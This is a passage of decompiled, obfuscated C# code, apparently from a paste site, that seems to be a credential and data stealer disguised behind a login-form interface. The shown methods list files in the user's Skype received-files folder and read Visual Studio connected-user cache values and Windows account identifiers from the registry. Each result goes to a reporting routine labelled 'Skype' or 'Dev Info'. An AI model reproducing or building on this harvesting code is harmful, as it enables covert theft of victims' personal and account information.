  2576. text += string.Join("\n", list.ToArray());
  2577. list = GClass22.smethod_7(new DirectoryInfo(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Skype\\My Skype Received Files"), "*", false, false);
  2578. text += string.Join("\n\nReceived Files\n", list.ToArray());
  2579. GClass22.mutex_1.WaitOne();
  2580. this.method_3("Skype\n" + text, "Skype", false);
  2581. GClass22.mutex_1.ReleaseMutex();
  2582. }
  2583. catch
  2584. {
  2585. GClass22.mutex_1.WaitOne();
  2586. this.method_3("Skype\n Not Found", "SkypeFolder", false);
  2587. GClass22.mutex_1.ReleaseMutex();
  2588. }
  2589. this.int_0++;
  2590. Console.Write("Done 15\n");
  2591. }
  2592.  
  2593. // Token: 0x0600012A RID: 298 RVA: 0x00019928 File Offset: 0x00017B28
  2594. [CompilerGenerated]
  2595. private void method_24()
  2596. {
  2597. Thread.CurrentThread.IsBackground = true;
  2598. try
  2599. {
  2600. string text = "";
  2601. text += "\n\nVisual Studio Information\n";
  2602. try
  2603. {
  2604. RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\VSCommon\\ConnectedUser\\IdeUserV2\\Cache", true);
  2605. foreach (string text2 in registryKey.GetValueNames())
  2606. {
  2607. try
  2608. {
  2609. if (!(text2 == "Avatar.Large") && !(text2 == "Avatar.Medium"))
  2610. {
  2611. text = string.Concat(new object[]
  2612. {
  2613. text,
  2614. text2,
  2615. "=",
  2616. registryKey.GetValue(text2, "Zero"),
  2617. "\n"
  2618. });
  2619. }
  2620. }
  2621. catch
  2622. {
  2623. }
  2624. }
  2625. }
  2626. catch
  2627. {
  2628. text += "None found";
  2629. }
  2630. text += "\n\nWindows Information\n";
  2631. try
  2632. {
  2633. foreach (string str in Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\IdentityCRL\\UserExtendedProperties", true).GetSubKeyNames())
  2634. {
  2635. try
  2636. {
  2637. text = text + str + "\n";
  2638. }
  2639. catch
  2640. {
  2641. }
  2642. }
  2643. }
  2644. catch
  2645. {
  2646. text += "None found";
  2647. }
  2648. GClass22.mutex_1.WaitOne();
  2649. this.method_3("Dev Info\n" + text, "Dev Info", false);
  2650. GClass22.mutex_1.ReleaseMutex();
  2651. }
  2652. catch
  2653. {
  2654. GClass22.mutex_1.WaitOne();
  2655. this.method_3("Dev Info\nNot found\n", "Dev Info", false);
  2656. GClass22.mutex_1.ReleaseMutex();
  2657. }
  2658. this.int_0++;
  2659. Console.Write("Done 16\n");
  2660. }
  2661.  
  2662. // Token: 0x040000D3 RID: 211
  2663. private DispatcherTimer dispatcherTimer_0;
  2664.  
  2665. // Token: 0x040000D4 RID: 212
  2666. private Random random_0;
  2667.  
  2668. // Token: 0x040000D5 RID: 213
  2669. public static string string_0;
  2670.  
  2671. // Token: 0x040000D6 RID: 214
  2672. public static string string_1;
  2673.  
  2674. // Token: 0x040000D7 RID: 215
  2675. public static string string_2;
  2676.  
  2677. // Token: 0x040000D8 RID: 216
  2678. public static string string_3;
  2679.  
  2680. // Token: 0x040000D9 RID: 217
  2681. public static string string_4;
  2682.  
  2683. // Token: 0x040000DA RID: 218
  2684. public static string string_5;
  2685.  
  2686. // Token: 0x040000DB RID: 219
  2687. public static string string_6;
  2688.  
  2689. // Token: 0x040000DC RID: 220
  2690. public static string string_7;
  2691.  
  2692. // Token: 0x040000DD RID: 221
  2693. public static string string_8;
  2694.  
  2695. // Token: 0x040000DE RID: 222
  2696. public static GClass23 gclass23_0;
  2697.  
  2698. // Token: 0x040000DF RID: 223
  2699. public static GClass18 gclass18_0;
  2700.  
  2701. // Token: 0x040000E0 RID: 224
  2702. private double double_0;
  2703.  
  2704. // Token: 0x040000E1 RID: 225
  2705. private double double_1;
  2706.  
  2707. // Token: 0x040000E2 RID: 226
  2708. private double double_2;
  2709.  
  2710. // Token: 0x040000E3 RID: 227
  2711. private double double_3;
  2712.  
  2713. // Token: 0x040000E4 RID: 228
  2714. public static GClass22.GStruct1 gstruct1_0;
  2715.  
  2716. // Token: 0x040000E5 RID: 229
  2717. public static GClass22.GStruct0 gstruct0_0;
  2718.  
  2719. // Token: 0x040000E6 RID: 230
  2720. private Thread thread_0;
  2721.  
  2722. // Token: 0x040000E7 RID: 231
  2723. private Thread thread_1;
  2724.  
  2725. // Token: 0x040000E8 RID: 232
  2726. private Thread thread_2;
  2727.  
  2728. // Token: 0x040000E9 RID: 233
  2729. private bool bool_0;
  2730.  
  2731. // Token: 0x040000EA RID: 234
  2732. private string string_9;
  2733.  
  2734. // Token: 0x040000EB RID: 235
  2735. private static Mutex mutex_0;
  2736.  
  2737. // Token: 0x040000EC RID: 236
  2738. private int int_0;
  2739.  
  2740. // Token: 0x040000ED RID: 237
  2741. private static Mutex mutex_1;
  2742.  
  2743. // Token: 0x040000EE RID: 238
  2744. internal object ParticleHost;
  2745.  
  2746. // Token: 0x040000EF RID: 239
  2747. internal Image image;
  2748.  
  2749. // Token: 0x040000F0 RID: 240
  2750. internal object login_form;
  2751.  
  2752. // Token: 0x040000F1 RID: 241
  2753. internal object spinner;
  2754.  
  2755. // Token: 0x040000F2 RID: 242
  2756. internal TextBlock txt_title;
  2757.  
  2758. // Token: 0x040000F3 RID: 243
  2759. internal object btn_login;
  2760.  
  2761. // Token: 0x040000F4 RID: 244
  2762. internal object check_rememberMe;
  2763.  
  2764. // Token: 0x040000F5 RID: 245
  2765. internal TextBlock ico_login;
  2766.  
  2767. // Token: 0x040000F6 RID: 246
  2768. internal TextBlock ico_password;
  2769.  
  2770. // Token: 0x040000F7 RID: 247
  2771. internal object input_username;
  2772.  
  2773. // Token: 0x040000F8 RID: 248
  2774. internal object input_password;
  2775.  
  2776. // Token: 0x040000F9 RID: 249
  2777. internal object txt_minimize;
  2778.  
  2779. // Token: 0x040000FA RID: 250
  2780. internal object txt_close;
  2781.  
  2782. // Token: 0x040000FB RID: 251
  2783. internal object update_info;
  2784.  
  2785. // Token: 0x040000FC RID: 252
  2786. internal TextBlock updateSpinner;
  2787.  
  2788. // Token: 0x040000FD RID: 253
  2789. internal Label txt_autoUpdate;
  2790.  
  2791. // Token: 0x040000FE RID: 254
  2792. internal Label label;
  2793.  
  2794. // Token: 0x040000FF RID: 255
  2795. private bool bool_1;
  2796.  
  2797. // Token: 0x02000022 RID: 34
  2798. public struct GStruct0
  2799. {
  2800. // Token: 0x04000100 RID: 256
  2801. public WaitHandle[] waitHandle_0;
  2802. }
  2803.  
  2804. // Token: 0x02000023 RID: 35
  2805. public struct GStruct1
  2806. {
  2807. // Token: 0x0600012B RID: 299 RVA: 0x00002CCF File Offset: 0x00000ECF
  2808. [CompilerGenerated]
  2809. public IntPtr method_0()
  2810. {
  2811. return this.intptr_4;
  2812. }
  2813.  
  2814. // Token: 0x0600012C RID: 300 RVA: 0x00002CD7 File Offset: 0x00000ED7
  2815. [CompilerGenerated]
  2816. public void method_1(IntPtr intptr_8)
  2817. {
  2818. this.intptr_4 = intptr_8;
  2819. }
  2820.  
  2821. // Token: 0x0600012D RID: 301 RVA: 0x00002CE0 File Offset: 0x00000EE0
  2822. [CompilerGenerated]
  2823. public IntPtr method_2()
  2824. {
  2825. return this.intptr_5;
  2826. }
  2827.  
  2828. // Token: 0x0600012E RID: 302 RVA: 0x00002CE8 File Offset: 0x00000EE8
  2829. [CompilerGenerated]
  2830. public void method_3(IntPtr intptr_8)
  2831. {
  2832. this.intptr_5 = intptr_8;
  2833. }
  2834.  
  2835. // Token: 0x0600012F RID: 303 RVA: 0x00002CF1 File Offset: 0x00000EF1
  2836. [CompilerGenerated]
  2837. public IntPtr method_4()
  2838. {
  2839. return this.intptr_6;
  2840. }
  2841.  
  2842. // Token: 0x06000130 RID: 304 RVA: 0x00002CF9 File Offset: 0x00000EF9
  2843. [CompilerGenerated]
  2844. public void method_5(IntPtr intptr_8)
  2845. {
  2846. this.intptr_6 = intptr_8;
  2847. }
  2848.  
  2849. // Token: 0x06000131 RID: 305 RVA: 0x00002D02 File Offset: 0x00000F02
  2850. [CompilerGenerated]
  2851. public IntPtr method_6()
  2852. {
  2853. return this.intptr_7;
  2854. }
  2855.  
  2856. // Token: 0x06000132 RID: 306 RVA: 0x00002D0A File Offset: 0x00000F0A
  2857. [CompilerGenerated]
  2858. public void method_7(IntPtr intptr_8)
  2859. {
  2860. this.intptr_7 = intptr_8;
  2861. }
  2862.  
  2863. // Token: 0x04000101 RID: 257
  2864. public IntPtr intptr_0;
  2865.  
  2866. // Token: 0x04000102 RID: 258
  2867. public IntPtr intptr_1;
  2868.  
  2869. // Token: 0x04000103 RID: 259
  2870. public IntPtr intptr_2;
  2871.  
  2872. // Token: 0x04000104 RID: 260
  2873. public IntPtr intptr_3;
  2874.  
  2875. // Token: 0x04000105 RID: 261
  2876. [CompilerGenerated]
  2877. private IntPtr intptr_4;
  2878.  
  2879. // Token: 0x04000106 RID: 262
  2880. [CompilerGenerated]
  2881. private IntPtr intptr_5;
  2882.  
  2883. // Token: 0x04000107 RID: 263
  2884. [CompilerGenerated]
  2885. private IntPtr intptr_6;
  2886.  
  2887. // Token: 0x04000108 RID: 264
  2888. [CompilerGenerated]
  2889. private IntPtr intptr_7;
  2890. }
  2891.  
  2892. // Token: 0x02000024 RID: 36
  2893. public enum GEnum0
  2894. {
  2895.  
  2896. }
  2897.  
  2898. // Token: 0x02000025 RID: 37
  2899. public enum GEnum1
  2900. {
  2901.  
  2902. }
  2903. }
  2904. }
Add Comment
Please, Sign In to add comment